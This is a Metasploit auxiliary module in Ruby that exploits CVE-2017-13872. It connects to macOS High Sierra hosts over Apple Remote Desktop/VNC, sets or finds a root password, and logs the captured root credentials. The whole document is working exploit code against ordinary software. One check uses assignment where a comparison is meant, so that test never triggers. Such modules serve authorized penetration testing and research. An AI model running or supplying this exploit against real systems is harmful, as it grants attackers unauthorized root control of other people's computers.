Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.
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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::Tcp
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'Apple Remote Desktop Root Vulnerability',
'Description' => 'Enable and set root account to a chosen password on unpatched macOS High Sierra hosts with either Screen Sharing or Remote Management enabled.',
'References' =>
[
['CVE', '2017-13872'],
['URL', 'https://support.apple.com/en-us/HT208315']
],
'Author' => 'jgor',
'License' => MSF_LICENSE
)
register_options(
[
Opt::RPORT(5900),
OptString.new('PASSWORD', [false, 'Set root account to this password', ''])
])
end
def log_credential(password)
print_good("Login succeeded - root:#{password}")
service_data = {
address: target_host,
port: rport,
service_name: 'vnc',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
module_fullname: self.fullname,
origin_type: :service,
username: 'root',
private_data: password,
private_type: :password
}.merge(service_data)
credential_core = create_credential(credential_data)
login_data = {
core: credential_core,
last_attempted_at: DateTime.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_data)
create_credential_login(login_data)
end
def run_host(target_host)
begin
if datastore['PASSWORD'].empty?
password = Rex::Text::rand_text_alphanumeric(16)
else
password = datastore['PASSWORD']
end
connect
vnc = Rex::Proto::RFB::Client.new(sock)
if vnc.handshake
type = vnc.negotiate_authentication
unless type = Rex::Proto::RFB::AuthType::ARD
print_error("VNC server does not advertise security type ARD.")
return
end
print_status("Attempting authentication as root.")
if vnc.authenticate_with_type(type, 'root', password)
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect
connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with chosen password.")
if vnc.handshake
if vnc.authenticate_with_user('root', password)
log_credential(password)
return
end
else
print_error("VNC handshake failed.")
return
end
disconnect
connect
vnc = Rex::Proto::RFB::Client.new(sock)
print_status("Testing login as root with empty password.")
if vnc.handshake
if vnc.authenticate_with_user('root', '')
log_credential('')
return
end
else
print_error("VNC handshake failed.")
return
end
ensure
disconnect
end
end
end